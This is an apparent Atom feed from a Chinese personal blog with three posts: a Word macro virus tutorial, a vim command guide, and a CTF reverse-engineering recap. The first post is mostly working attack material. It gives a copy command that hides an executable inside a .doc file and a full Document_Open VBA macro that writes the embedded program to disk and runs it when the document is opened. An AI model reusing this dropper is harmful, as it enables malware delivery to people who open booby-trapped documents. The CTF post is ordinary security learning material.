<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title><![CDATA[~Startゝ]]></title>
  <subtitle><![CDATA[Walk steps step by step]]></subtitle>
  <link href="/atom.xml" rel="self"/>
  <link href="http://yoursite.com/"/>
  <updated>2015-06-29T07:56:59.911Z</updated>
  <id>http://yoursite.com/</id>
  
  <author>
    <name><![CDATA[rtoheaven]]></name>
    <email><![CDATA[rtoheaven@163.com]]></email>
  </author>
  
  <generator uri="http://zespia.tw/hexo/">Hexo</generator>
  
  <entry>
    <title><![CDATA[宏病毒执行任意捆绑exe.]]></title>
    <link href="http://yoursite.com/2015/01/13/%E5%AE%8F%E7%97%85%E6%AF%92%EF%BC%88exe%E6%89%A7%E8%A1%8C%EF%BC%89/"/>
    <id>http://yoursite.com/2015/01/13/宏病毒（exe执行）/</id>
    <published>2015-01-13T12:51:49.000Z</published>
    <updated>2015-01-14T01:32:38.000Z</updated>
    <content type="html"><![CDATA[<h2 id="宏病毒概念：">宏病毒概念：</h2>
<p>宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。</p>
<h2 id="制作流程：">制作流程：</h2>
<p>这里用的方法主要是把PE文件接到doc文件后面，然后通过API函数，定位到PE文件位置，最后释放出来并运行，下面详细说明。<br><a id="more"></a></p>
<h3 id="一、把PE文件嵌入doc文件中">一、把PE文件嵌入doc文件中</h3>
<p>这个实现起来简单，把要接的exe放到和这个doc文件同一个目录下.运行doc命令:<br>copy /b xxxx.doc + xxxxx.exe newdoc.doc<br>这个跟图片隐写技术类似的。</p>
<h3 id="二、创建宏代码，实验功能">二、创建宏代码，实验功能</h3>
<p>我这里用的是office2013,首先打开doc文件，点击界面上的开发工具（如果开发工具没有在界面上，请参考<a href="http://jingyan.baidu.com/article/9f7e7ec05965d46f28155496.html）,
然后点击Visual Basic,即可打开 Microsoft Visual Basic编辑器，书写VB代码（office里面的宏代码是用VBA开发）。
在这里强调下，由于是想在doc文件打开时指向exe文件，所以写的VB代码是写在**Newtext(doc文件名" target="_blank" rel="external">打开开发工具</a>**里面的，而不是建在上面Normal里。<br>首先：<br>这里我是把函数声明与一些函数参数声明写在了一个模块里面。<br>如下图所示：<img src="/img/QQ图片20150113214703.png" alt=""><br>1）createfile 用于打开文件,该函数vb的声明如下:<br>declare function createfile lib “kernel32” alias “createfilea” (byval lpfilename as string,<br>byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes<br>as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long<br>2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:<br>declare function closehandle lib “kernel32” (byval hobject as long) as long<br>3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:<br>declare function readfile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread<br>as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long<br>4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:<br>declare function writefile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite<br>as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long<br>5)setfileponiter移动文件指针,该函数vb的声明如下:<br>declare function setfilepointer lib “kernel32” (byval hfile as long, byval ldistancetomove as long, byval<br>lpdistancetomovehigh as long, byval dwmovemethod as long) as long<br>6)下面是以上函数的参数声明<br>public const generic_read as long = &amp;h80000000<br>public const generic_write as long = &amp;h40000000<br>public const file_share_read as long = 1<br>public const file_share_write as long = 2<br>public const create_new as long = 1<br>public const create_always as long = 2<br>public const open_existing as long = 3<br>public const open_always as long = 4<br>public const truncate_existing as long = 5<br>public const invalid_handle_value as long = -1<br>public const file_attribute_normal as long = &amp;h80</p>
<p>其次：<br>核心代码功能，就是操作上面的API。<br>如下图所示：<img src="/img/QQ图片20150113214607.jpg" alt=""><br>代码如下：<br>‘’’c<br>Private Sub Document_Open()<br>Dim buffer(114688) As Byte<br>Dim h, h2, j, i, k As Long<br>h = CreateFile(ThisDocument.Path &amp; “/“ &amp; ThisDocument.Name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0)<br>‘以share_read的方式打开自身的doc文件<br>h2 = CreateFile(“d:\exec.exe”, generic_write, 0, 0, create_always, 0, 0)<br>‘新建一个exe文件准备存放读取出来的数据.<br>If h = invalid_handle_value Then<br>Exit Sub<br>End If<br>k = SetFilePointer(h, 91136, nil, 0)<br>‘把文件指针移动到doc文件与exe文件交界处.<br>Do<br>i = ReadFile(h, buffer(0), 114688, j, 0)<br>i = WriteFile(h2, buffer(0), j, j, 0)<br>Loop Until j &lt; 114688<br>CloseHandle (h)<br>CloseHandle (h2)<br>Shell “cmd /c d:\exec.exe”<br>‘运行exe文件<br>End Sub<br>‘’’<br>有点API编程经验的人都能看懂的，不需要对VB很熟，我对VB也一窍不通。当然上面的代码很简单，我是释放到D盘，其实都可以释放到临时目录这些，等等。<br>这里重点说明下，这上面的二个数字。<br><strong>91136是指你把宏代码嵌入以后整个文件大小</strong><br><strong>114688代码你嵌入PE文件的大小。</strong><br><strong>整个的操作步骤的是：先打开doc文件，写入宏代码，这里可能有人要问我写如宏代码后doc文件大小就不知道了，所以你可以先随便写一个数字，在保存一下，查看doc文件大小，修改一下即可，最后在用CP命令添加PE文件。</strong></p>
<h3 id="三、演示效果">三、演示效果</h3>
<p>打开doc文件，会提示有宏代码，若点击允许，就可以运行。所以宏病毒还是有很有弊端。<br>如下图所示：<br><img src="/img/QQ图片20150113214627.jpg" alt=""></p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="宏病毒概念：">宏病毒概念：</h2>
<p>宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档，其中的宏就会被执行，于是宏病毒就会被激活，转移到计算机上，并驻留在Normal模板上。</p>
<h2 id="制作流程：">制作流程：</h2>
<p>这里用的方法主要是把PE文件接到doc文件后面，然后通过API函数，定位到PE文件位置，最后释放出来并运行，下面详细说明。<br>]]>
    
    </summary>
    
      <category term="安全技术" scheme="http://yoursite.com/categories/%E5%AE%89%E5%85%A8%E6%8A%80%E6%9C%AF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[vim编辑器使用]]></title>
    <link href="http://yoursite.com/2014/11/26/Vim%E7%BC%96%E8%BE%91%E5%99%A8%E4%BD%BF%E7%94%A8/"/>
    <id>http://yoursite.com/2014/11/26/Vim编辑器使用/</id>
    <published>2014-11-26T11:11:40.000Z</published>
    <updated>2014-11-26T11:11:48.000Z</updated>
    <content type="html"><![CDATA[<h2 id="介绍">介绍</h2>
<p>VI 编辑器是Linux和Unix上最基本的文本编辑器，工作在字符模式下。由于不需要图形界面，使它成了效率很高的文本编辑器，但是很多初学者对这个编辑器都不感冒，我也一样。</p>
<h3 id="1、VIM快速入门">1、VIM快速入门</h3>
<p><strong>一、vim的3种模式介绍</strong></p>
<p>VIM存在3种工作模式，分别是命令模式，插入模式和底行模式。<br>命令模式：输入vim命令后启动vim默认就是进入命令模式，此时所有键都是功能键。<br>插入模式：命令模式下按下“i”键就可以进入插入模式，这时就像记事本一样编辑文本了。<br>底行模式：在命令模式下输入“:”进入底行模式，可以用以保存文件、退出vim以及设置环境执行编译命令等。</p>
<p>vim启动进入命令模式<br>处于插入模式或底行模式时只需要按“ESC”退出键即可进入命令模式<br>命令模式中按“i”（插入）或“a”（附加）键都可以进入插入模式<br>命令模式中按“:”进入底行模式<br>底行模式中输入“wq”回车后保存并退出vim<br><a id="more"></a><br><strong>二、进入vim</strong></p>
<p>1.使用vim命令进入vim界面<br>vim是打开vim的命令 test.txt是您打开或者新建文件的文件名。<br>打开linux终端，输入以下命令<br>$ vim test.txt<br>直接使用vim也可以打开vim编辑器，但是不会打开任何文件。<br>$ vim<br>进入底行模式后输入:e test.txt 同样可以打开test.txt文件。<br>2.游标移动</p>
<p>3.移动vim编辑器的游标<br>在进入vim后，按下“i”键进入插入模式。在该模式下您可以输入文本信息<br>请输入如下三行信息<br>12345678<br>abcdefghijk<br>testtesttest<br>按esc进入命令模式，在该模式下使用方向键或者hjkl键可以移动游标。<br>h：左；<br>l（小写L）： 右<br>j ：下<br>k： 上<br>w：移动到下一个单词<br>b：移动到上一个单词<br>请尝试在命令行模式下使用字母键在文本中移动游标<br>选择特定的文本位置后可以进入编辑模式开始编辑</p>
<p><strong>三、进入编辑模式</strong></p>
<p>1.使用命令进入编辑模式</p>
<p>在命令模式下输入下列字母进入编辑模式进行文本编辑<br>i   在当前光标处进行编辑<br>a   在光标后插入编辑<br>o   在当前行后插入一个新行<br>O   在当前行前插入一个新行<br>cw   替换从光标所在位置后到一个单词结尾的字符<br>请尝试不同的从命令模式进入编辑模式的方法，不要忘记ESC键可以从编辑模式退回到命令模式</p>
<p><strong>四、保存文档</strong></p>
<p>1.底行模式下保存文档</p>
<p>从命令模式输入“:”进入底行模式，输入w回车，保存文档</p>
<p><strong>五、退出vim</strong></p>
<p>1.底行模式下退出vim</p>
<p>从命令模式输入“:”进入底行模式，输入wq回车，保存并退出编辑<br>也可以使用其他的退出命令，命令前的”:”表示处于底行模式中<br>:q! 强制退出，不保存<br>:q 退出<br>:wq! 强制保存并退出<br>:saveas <path to="" file=""> 另存为 <path to="" file=""><br>:x 或 :wq 保存并退出<br>2.命令模式下退出vim</p>
<p>命令模式下输入“ZZ”即可保存退出vim</p>
<p><strong>六、删除文本</strong></p>
<p>1.命令模式下删除vim文本信息</p>
<p>进入命令模式，使用下列命令进行文本快速删除：<br>x 删除游标所在的字符<br>X 删除游标之前的字符<br>“del”按键删除当前字符<br>dd 删除整行<br>dw删除一个word（不适用中文）<br>dG删除到文档结尾处<br>d1G 删至文档首部<br>d$删除至行尾</p>
<h3 id="2、Vim文档编辑">2、Vim文档编辑</h3>
<p><strong>一、vim重复命令</strong></p>
<p>1.重复执行上次命令</p>
<p>进入命令模式 . (小数点) 可以重复上一次的命令<br>拷贝测试文件到本地目录<br>$ cp /etc/protocols ./<br>打开文件文件进行编辑<br>$ vim protocols<br>命令模式下输入x，删除第一个字符，输入.(小数点)会再次删除一个字符<br>2.多次执行相同的命令</p>
<p>进入命令模式输入“N” 重复某个命令N次<br>打开文件文件进行编辑<br>$ vim protocols<br>命令模式下输入10x，删除10个连续字符<br>命令模式下输入3dd，将会删除3行文本</p>
<p><strong>二、光标的跳转</strong></p>
<p>1.光标快速跳转</p>
<p>命令模式下，下列命令可以让光标快速调转到指定位置<br>NG到第 N 行 （命令中的G是大写的）<br>gg到第一行<br>G到最后一行</p>
<p>2.练习NG命令</p>
<p>N是一个数字，G必须大写<br>打开文件文件进行编辑<br>$ vim protocols<br>进入命令模式，输入10G，光标将会跳转到第10行</p>
<p>3.gg命令</p>
<p>gg命令将光标跳转至第一行，与1G相同<br>N是一个数字，G必须大写<br>打开文件文件进行编辑<br>$ vim protocols<br>进入命令模式，输入10G，光标将会跳转到第10行<br>进入命令模式，输入gg，光标将会跳转到第1行</p>
<p>4.G命令</p>
<p>G命令将光标跳转到最后一行<br>$ vim protocols<br>进入命令模式，输入G，光标将会跳转到最后一行</p>
<p>5.按单词移动光标</p>
<p>命令模式下使用下列命令按照单词为单位进行跳转<br>w   到下一个单词的开头。<br>e   到下一个单词的结尾。<br>打开文件进入命令模式，练习按照单词进行跳转<br>$ vim protocols</p>
<p><strong>三、复制粘贴和剪切</strong></p>
<p>1.复制及粘贴文本</p>
<p>命令模式中使用y 复制<br>命令模式中yy复制游标所在的整行（3yy表示复制3行）<br>命令模式中，y^ 复制至行首，或y0。不含光标所在处字符。<br>进入命令模式，y$ 复制至行尾。含光所在处字符。<br>进入命令模式，yw 复制一个word。<br>进入命令模式，y2w 复制两个字。<br>进入命令模式，yG 复制至文本最后。<br>进入命令模式，y1G 复制至文本开始位置。<br>命令模式中使用p 粘贴<br>进入命令模式，p 小写p 代表贴至光标后（下）<br>进入命令模式，P 大写P 代表贴至光标前（上）</p>
<p>2.剪切及粘贴文本</p>
<p>命令模式中使用d 剪切<br>命令模式中dd剪切游标所在的整行（3dd表示剪切3行）<br>命令模式中，d^剪切至当前行开始位置，或d0。不含光标所在处字符。<br>进入命令模式，d$ 剪切至行尾。含光所在处字符。<br>进入命令模式，dw 剪切一个word。<br>进入命令模式，d2w 剪切两个字。<br>进入命令模式，dG 剪切至文本最后。<br>进入命令模式，d1G 剪切至文本开始位置。<br>命令模式中使用p 粘贴<br>进入命令模式，p 小写p 代表贴至光标后（下）<br>进入命令模式，P 大写P 代表贴至光标前（上）</p>
<p><strong>四、在当前行上移动光标</strong></p>
<p>1.当前行上移动光标命令简介</p>
<p>0 到行头<br>$ 到行尾<br>fa 到下一个为a的字符处，你也可以fs到下一个为s的字符。<br>t, 到逗号前的第一个字符。逗号可以变成其它字符。<br>3fa 在当前行查找第三个出现的a。<br>F 和 T 和 f 和 t 一样，只不过是相反方向。</p>
<p>2.光标移动命令练习</p>
<p>复制练习文本到本地目录<br>$ cp /etc/protocols ./<br>打开文件文件进行编辑<br>$ vim protocols<br>命令模式下输入11G，跳转到第11行<br>命令模式下输入$跳转到行尾后输入0回到行头<br>命令模式下输入fa 跳转到下一个a字符处<br>命令模式下输入ta跳转到a字符前一个位置<br>命令模式下输入3fa跳转到第三个出现的a字符处<br>命令模式下输入3Fa跳转到前方第三个a字符</p>
<h3 id="3、Vim替换查找">3、Vim替换查找</h3>
<p><strong>一、字符的取代及还原</strong></p>
<p>1.取代和还原命令简介</p>
<p>命令模式下输入r，并且输入新的字符，新字符将会取代以前的字符<br>命令模式下输入R取代字符，输入新字符串直到按下Esc为止。<br>命令模式下输入cc取代整行字符。或大写S 亦可。<br>命令模式下输入cw 替换一个英文字(word)，中文不适用。<br>命令模式下输入Shift+~，翻转游标所在字符的大小写<br>命令模式下输入C 取代至行尾，即游标所在处以后的字都会被替换<br>命令模式下输入u 取消上一次的操作</p>
<p>2.取代和还原命令练习</p>
<p>复制练习文本到本地目录<br>$ cp /etc/protocols ./<br>打开文件文件进行编辑<br>$ vim protocols<br>命令模式下输入11G，跳转到11行<br>输入fa跳转到第一个a字符<br>命令模式下输入r，并且输入b，a字符被b字符取代<br>命令模式下输入R取代字符，输入新字符串，输入完按ESC回到命令模式<br>命令模式下输入cc取代整行字符，输入新字符串，输入完按ESC回到命令模式<br>命令模式下输入cw 替换一个英文字(word)，输入完按ESC回到命令模式<br>命令模式下输入Shift+~，翻转游标所在字符的大小写<br>命令模式下输入C 取代至行尾，即游标所在处以后的字都会被替换，输入完按ESC回到命令模式<br>命令模式下输入u 取消上一次的操作</p>
<p><strong>二、文字的简单排列</strong></p>
<p>1.使用命令对文字进行简单的排列</p>
<p>打开文件进行编辑<br>$ vim protocols<br>命令模式下输入15G，跳转到15行<br>命令模式下输入&gt;&gt; 整行将向右缩进<br>命令模式下输入&lt;&lt; 整行向左回退<br>命令模式下输入’:’进入底行模式下对shiftwidth值进行设置可以控制缩进和回退的字符数</p>
<p>2.shiftwidth命令</p>
<p>shiftwidth命令是指上一节&gt;&gt;命令产生的缩进（可以简写成sw）<br>命令模式下输入’:’进入底行模式下对shiftwidth值进行设置可以控制缩进和回退的字符数<br>获取目前的设定值<br>:set shiftwidth?<br>设置缩进为10个字符<br>:set shiftwidth=10<br>输入ESC回到命令模式，再次尝试&gt;&gt;看缩进量是否变化</p>
<p>3.调整文本位置</p>
<p>底行模式下ce(center)命令使本行内容居中<br>:ce<br>底行模式下ri(right)命令使本行文本靠右<br>:ri<br>底行模式下le(left)命令使本行内容靠左<br>:le</p>
<p><strong>三、查找</strong></p>
<p>1.快速查找</p>
<p>命令模式下输入/然后键入需要查找的字符串 按回车后就会进行查找。<br>？与/功能相同，只不过？是向上而/是向下查找。<br>进入查找之后，输入n和N可以继续查找<br>n表示继续查找，N反向查找</p>
<p>2.快速查找练习</p>
<p>打开文件文件进行编辑<br>$ vim protocols<br>命令模式下输入/icmp查找icmp字符串<br>命令模式下输入n查找下一个icmp<br>命令模式下输入？tcp向上查找tcp字符串<br>命令模式下输入N查找上一个出现的tcp</p>
<p>3.高级查找</p>
<p>命令模式下输入<em>寻找游标所在处的单词<br>命令模式下输入#同上，但 </em> 是向前（下）找，#则是向后（上）找<br>命令模式下输入g<em>同</em> ，但部分符合该单词即可<br>命令模式下输入g#同# ，但部分符合该单词即可<br>以上查找n, N 的继续查找命令依然可以用</p>
<h3 id="4、高级功能入门">4、高级功能入门</h3>
<p><strong>一、文档加密</strong></p>
<p>1.创建加密文档</p>
<p>$ vim -x file1<br>输入您的密码<br>确认密码<br>这样在下一次打开时，vim就会要求你输入密码</p>
<p><strong>二、在vim执行外部命令</strong></p>
<p>1.执行外部命令</p>
<p>在底行模式中输入！可以执行外部的shell命令<br>:!ls 用于显示当前目录的内容<br>:!rm FILENAME 用于删除名为 FILENAME 的文件<br>:w FILENAME 可将当前 VIM 中正在编辑的文件另存为 FILENAME 文件</p>
<p><strong>三、多文件编辑</strong></p>
<p>1.使用vim编辑多个文件</p>
<p>编辑多个文件有两种形式，一种是在进入vim前使用的参数就是多个文件。另一种就是进入vim后再编辑其他的文件。<br>同时创建两个新文件并编辑<br>$ vim 1.txt 2.txt<br>默认进入1.txt文件的编辑界面<br>底行模式下输入:n编辑2.txt文件，可以加!即:n!强制切换，之前一个文件的输入没有保存，仅仅切换到另一个文件<br>底行模式下输入:N编辑1.txt文件，可以加!即:N!强制切换，之前文件内的输入没有保存，仅仅是切换到另一个文件</p>
<p>2.进入vim后打开新文件</p>
<p>底行模式下输入:e 3.txt 打开新文件3.txt<br>底行模式下输入:e# 回到前一个文件<br>底行模式下输入:ls可以列出以前编辑过的文档<br>底行模式下输入:b 2.txt（或者编号）可以直接进入文件2.txt编辑<br>底行模式下输入:bd 2.txt（或者编号）可以删除以前编辑过的列表中的文件项目<br>底行模式下输入:e! 4.txt，新打开文件4.txt，放弃正在编辑的文件<br>底行模式下输入:f 显示正在编辑的文件名<br>底行模式下输入:f new.txt，改变正在编辑的文件名字为new.txt</p>
<p>3.恢复文件</p>
<p>如果因为断电等原因造成文档没有保存，可以采用恢复方式，vim -r 进入文档后，输入:ewcover 1.txt来回复<br>$ vim -r 1.txt</p>
<p><strong>四、视图模式</strong></p>
<p>1.视图模式命令简介</p>
<p>在命令模式下输入v（小写v），进入字符选择模式，就可以移动光标，光标走过的地方就会选取。再次按下v会后就会取消选取。<br>在命令模式下输入V （大写V），进入行选择模式，按下V之后就会把整行选取，您可以上下移动光标选更多的行，同样，再按一次V就可以取消选取。<br>在命令模式下输入 Ctrl+v（小写V），这是区域选择模式，可以进行矩形区域选择，再按一次Ctrl+v取消选取。<br>在命令模式下输入d删除选取区域内容<br>在命令模式下输入y复制选取区域内容</p>
<p>2.视图模式命令练习</p>
<p>拷贝练习文件到当前目录<br>$ cp /etc/protocols ./<br>打开练习文件<br>$ vim protocols<br>在命令模式下20G跳转到20行，输入v（小写v），进入字符选择模式，移动光标，选取1个单词，输入y复制选取内容，输入p在当前位置粘贴选取内容<br>在命令模式下输入V （大写V），进入行选择模式，移动光标向下选择3行，输入d删除选取内容。<br>在命令模式下输入 Ctrl+v（小写v），移动光标进行矩形区域选择，输入d删除选取内容。<br>在命令模式下输入d删除选取区域内容<br>在命令模式下输入y复制选取区域内容</p>
<p><strong>五、视窗操作</strong></p>
<p>1.视窗操作简介</p>
<p>vim可以在一个界面里打开多个窗口进行编辑，这些编辑窗口称为vim的视窗<br>打开方法可以使用在底行模式下输入:new 打开一个新的vim视窗（命令模式下输入Ctrl+w也可以,但是Ctrl+w在chrome下会与chrome的命令产生冲突从而关闭chrome的标签页）<br>底行模式下输入:sp 1.txt 打开新的横向视窗来编辑1.txt<br>底行模式下输入:vsp 2.txt 打开新的纵向视窗来编辑1.txt<br>注意：下述命令建议在火狐或IE9+浏览器中使用，chrome会有快捷键冲突<br>命令模式下Ctrl-w s 会打开一个新的视窗，且原来的文档分属两个视窗。<br>命令模式下Ctrl-w f 打开一个新的视窗，且游标编辑之处的单词就是新视窗的名称<br>命令模式下Ctrl-w q 即 :q 结束分割出来的视窗。如果在新视窗中有输入需要使用强制符！即:q!<br>命令模式下Ctrl-w o 打开一个视窗并且隐藏之前的所有视窗<br>命令模式下Ctrl-w j 移至下视窗<br>命令模式下Ctrl-w k 移至上视窗</p>
<p>2.视窗操作练习</p>
<p>$ vim 1.txt<br>底行模式下输入:new 打开一个新的vim视窗<br>底行模式下输入:sp 2.txt 打开新的横向视窗来编辑2.txt<br>底行模式下输入:vsp 3.txt 打开新的横向视窗来编辑3.txt<br>如果使用非chrome浏览器可以使用Ctrl+w进行视窗间的跳转<br>分别在不同视窗的底行模式下输入:q!退出多视窗编辑</p>
<p><strong>六、帮助系统</strong></p>
<p>1.vim中的查看帮助</p>
<p>命令模式下按F1打开vim自己预设的帮助文档<br>底行模式下输入:h shiftwidth 打开名为shiftwidth的帮助文件<br>底行模式下输入:ver 显示版本及参数</p>
<p><strong>七、功能设定</strong></p>
<p>1.vim的功能设定</p>
<p>可以在编辑文件的时候进行功能设定，如底行模式下输入:set nu（显示行数），设定值退出vim后不会保存。要永久保存配置需要修改vim配置文件。<br>vim的配置文件~/.vimrc，可以打开文件进行修改，不过务必小心不要影响vim正常使用</p>
<p>2.获取目前的设定</p>
<p>底行模式下输入:set或者:se显示所有修改过的配置<br>底行模式下输入:set all 显示所有的设定值<br>底行模式下输入:set option? 显示option的设定值<br>底行模式下输入:set nooption 取消当期设定值</p>
<p>3.set功能的说明</p>
<p>底行模式下输入:set autoindent(ai) 设置自动缩进<br>底行模式下输入:set autowrite(aw) 设置自动存档，默认未打开<br>底行模式下输入:set background=dark或light，设置背景风格<br>底行模式下输入:set backup(bk) 设置自动备份，默认未打开<br>底行模式下输入: set cindent(cin) 设置C语言风格缩进</p>
]]></content>
    <summary type="html">
    <![CDATA[<h2 id="介绍">介绍</h2>
<p>VI 编辑器是Linux和Unix上最基本的文本编辑器，工作在字符模式下。由于不需要图形界面，使它成了效率很高的文本编辑器，但是很多初学者对这个编辑器都不感冒，我也一样。</p>
<h3 id="1、VIM快速入门">1、VIM快速入门</h3>
<p><strong>一、vim的3种模式介绍</strong></p>
<p>VIM存在3种工作模式，分别是命令模式，插入模式和底行模式。<br>命令模式：输入vim命令后启动vim默认就是进入命令模式，此时所有键都是功能键。<br>插入模式：命令模式下按下“i”键就可以进入插入模式，这时就像记事本一样编辑文本了。<br>底行模式：在命令模式下输入“:”进入底行模式，可以用以保存文件、退出vim以及设置环境执行编译命令等。</p>
<p>vim启动进入命令模式<br>处于插入模式或底行模式时只需要按“ESC”退出键即可进入命令模式<br>命令模式中按“i”（插入）或“a”（附加）键都可以进入插入模式<br>命令模式中按“:”进入底行模式<br>底行模式中输入“wq”回车后保存并退出vim<br>]]>
    
    </summary>
    
      <category term="工具使用" scheme="http://yoursite.com/categories/%E5%B7%A5%E5%85%B7%E4%BD%BF%E7%94%A8/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[CTF逆向类少许总结]]></title>
    <link href="http://yoursite.com/2014/11/13/CTF%E5%B0%91%E8%AE%B8%E6%80%BB%E7%BB%93/"/>
    <id>http://yoursite.com/2014/11/13/CTF少许总结/</id>
    <published>2014-11-13T08:29:08.000Z</published>
    <updated>2014-11-13T13:09:57.000Z</updated>
    <content type="html"><![CDATA[<p>其实参加的比较少，很多也不懂，总结了一点点。<br>其实Crack类的题目，技巧很重要，阅读题目能力很关键，需要善于结合周边信息，善于用各种工具，善于多方位思考问题，找准关键地方，迅速定位。<br>下面举例说明。<a id="more"></a></p>
<h2 id="Hctf_逆向第1题（善于使用工具）。">Hctf 逆向第1题（<strong>善于使用工具</strong>）。</h2>
<p>107.189.158.112/d55757a7ccf958399789e18e1d8199de/babyCrack.zip<br>这个题目如果直接去调试，还是比较麻烦的，因为没有提示字符串，函数也不明确，但是如果用PEID先查壳，就能快速知道是,NET程序，<br>就可以用ILSpy或者.net reflector工具反编译出源码，<br><img src="/img/4101483FF0DB41C38DF5B24A13EA8596.png" alt=""><br>看到点击button函数，就可以看到flag：hctf{bAByCtsvlmE!}。</p>
<h2 id="Hctf逆向第2题（善于抓住题目信息或者说题目暗示）">Hctf逆向第2题（<strong>善于抓住题目信息或者说题目暗示</strong>）</h2>
<p>107.189.158.112/e81cbc49ae92b00d3b55430f21cbe2fe/babyCrack2.zip<br>这个题开始拿起用peid查了壳，发现没有壳。用OD跟了下，逻辑感觉不难，调理也很清楚，开始来了就一致在检测这个文件是不是PE文件，检测完了再单步走一下，就可以try again!!,<br>the key is what you  agin这些字符串，比且在开始也压入了一个字符串”idug|3<code>5ut</code>CCbz<code>DusnF</code>34~”，后面也会有跟这个字符串比较的函数。<br><img src="/img/46C23DCA47364DDE9CD09FA42A4E4DD2.png" alt=""><br>以为感觉就对了，但是后面在调试的时候，感觉无论输入啥子，都有点不对。<br>后面同伴提交了那串字符串，结果是对的。但是后面官网说了，那个题目答案有误。<br>正确的答案应该是每个字符串减1.<br>为什么呢。<br>idug每位的ascii减一就是hctf.在结合题目，.比赛中部分flag形式为hctf{xxxxxx}，部分flag不带hctf话括号，提交所见flag即可。<br>就可以得到答案了。我也看了writeup知道的。<br>其实这个题目考察的主要就是一个观察力。逆向能力要求也不是很高。</p>
<h2 id="hctf_apk的一个题目（NomalFile）(需要的也是善于观察)">hctf apk的一个题目（NomalFile）(<strong>需要的也是善于观察</strong>)</h2>
<p>这个题目本身是图片，图片里面嵌入了又一个png图片，去掉png的内容，就是一个APK，这里就不说了。用apk改之理反汇编后，算法也明确。</p>
<p><img src="/img/C(UEF46_7VYUAR}D345MCXW.png" alt=""><br>flag就是字符数组（16位），算的时候取它的 0 4  8 12 1  ‘+’‘ +’ 13位跟其他一组数做xor,最后跟这个字符数组的第6 10 14 3 ‘+’ 11  “+”作比较。还有些限制条件，15位与13位相等这些，这里就不说了。<br>通过这些条件就可以确定数组的某三位了。<br>还有一个就是接受用户输入的时候，不够16的位，它会去读取String str1 = Environment.getExternalStorageDirectory().getPath() + “/brand.txt”;的第一行，凑够16位数字。<br>开始同伴一直在找这个文件，无果。<br>后面就想，既然接受用户输入，那么答案就应该可以不相同的。自己就凑了一个答案，感觉符合条件。以为对了，提交的时候错误！！！<br>导致最后也没有成功提交。<br>看了writeup后，心里各种 草泥马，在strings..xml里面有个字符串，401！n++p;这个就对应最初取的那几位。</p>
<p><img src="/img/A32F0A1097F0422386C9285B92FF4796.png" alt=""><br>这样，就可以确定flag.<br>主要是没有经验，也没有敏锐的观察力。唉，伤不起。</p>
<h2 id="hctf_apk的第2题，">hctf apk的第2题，</h2>
<p>该题也不是很难，关键信息也很容易定位，更改2个跳转就可以输出flag,尼玛，输出的时候是日文，打印出来各种提交，各种不通过。最后也没有解决，就不附图了。<br>关键是现在都还没有解决，没有看到writeup啊。</p>
<h2 id="hctf_Linux下的一个题（善于使用脚本语言）。">hctf Linux下的一个题（<strong>善于使用脚本语言</strong>）。</h2>
<p>该elf文件是一个64的文件，导入ida中，很快就可以看到check函数，或者字符串You Win,Sorry等，</p>
<p><img src="/img/08300124B5444C8887C1C91D87EFA781.png" alt=""></p>
<p>调理很清楚，后面分析出来算法（矩阵），不知道怎么倒推回去，唉，编程能力太差，很多知道东西都不知道怎么写。<br>后面同伴想到用malab解，但是手工输入，解出来还是有些问题。最后看到了别人写的writeup,<br>用python导入了numpy库，就很快解出来了。</p>
<h2 id="还有就是第一次SSCTF的第四题（善于多方面思考，不要一根筋）">还有就是第一次SSCTF的第四题（<strong>善于多方面思考，不要一根筋</strong>）</h2>
<p>题目是”输入正确的密码，会释放出文件。key就在文件中。tips:第一层密码为6为纯数字，第二层密码也是6位。“<br>该exe文件是加了一层壳（FSG2.0），但是这个壳很好脱，也可以带壳调试。</p>
<p><img src="/img/926A8E6F896E473C82D0A5698C2D8497.png" alt=""></p>
<p>在GetProcAddress或者函数后，就可以下GetDlgItemTextA、GetWindowTextA等断点，获取输入，后面调试一步步就很简单，就是文件的读取，创建等，很清晰的。<br>算法就是md5(md5(“HOWMPxxxxxx”)) == 09B2F924C20C5CA427EED2C5B98BEFBF，xxxxx代表输入，最后会调用strcmp比较，</p>
<p><img src="/img/BFA9BCAEE6FD4DFDBB0B3FAD0739D30C.png" alt=""></p>
<p>如果输入正确后，会返回0，进入正确的分支，并释放文件，若不正确，就进入错误分支，当然也不会释放文件。<br>如果我们要看它到底释放什么文件，就可以强制跳转等。<br>这里我们也可以写脚本来解这个值，因为题目已经告知第一层密码是6为数字，</p>
<p><img src="/img/521A3CDCEC614A1FB69F2E42233A8052.png" alt=""></p>
<p>很快也能解出来。<br>但是第2层密码没有提示，这个要破解就很费力。后面同伴逆向思考或者换位思考，既然我们知道它释放的是什么文件，而且一般文件开头都是固定的，释放后数据就是通过异或来得到该文件的。<br>那么通过释放后的数据和正常文件的前6个字节xor即可得到密码，第一层释放的是PE文件，第2层释放的是gif文件，通过异或很快得到密码。<br>MZ…… =&gt;4D 5A 00 00 00 00 xor 78 6C 34 39 38 37 =&gt;35 36 34 49 48 47 =》564987<br>GIF89aX =》47 49 46 38 39 61 58 xor 30 68 37 1E 5A 12 =&gt; w!q&amp;cs<br>分别是564987和w!q&amp;cs。</p>
<p>还有一些其他的题目，就不一一列举了。</p>
<p><strong>总之，感觉ctf逆向的题目，技巧、观察力、多方位思考、工具这些很重要，真正逆向能力要求也不是特别高，当然有些题目除外哈。不过越高越好赛，我也是各种不懂。<br>这些东西可能说起来还是容易，但是真正掌握还是需要一定时间。<br>逆向这个东西也需要慢慢来，掌握还是需要一定的积累，一定的经验</strong>。</p>
]]></content>
    <summary type="html">
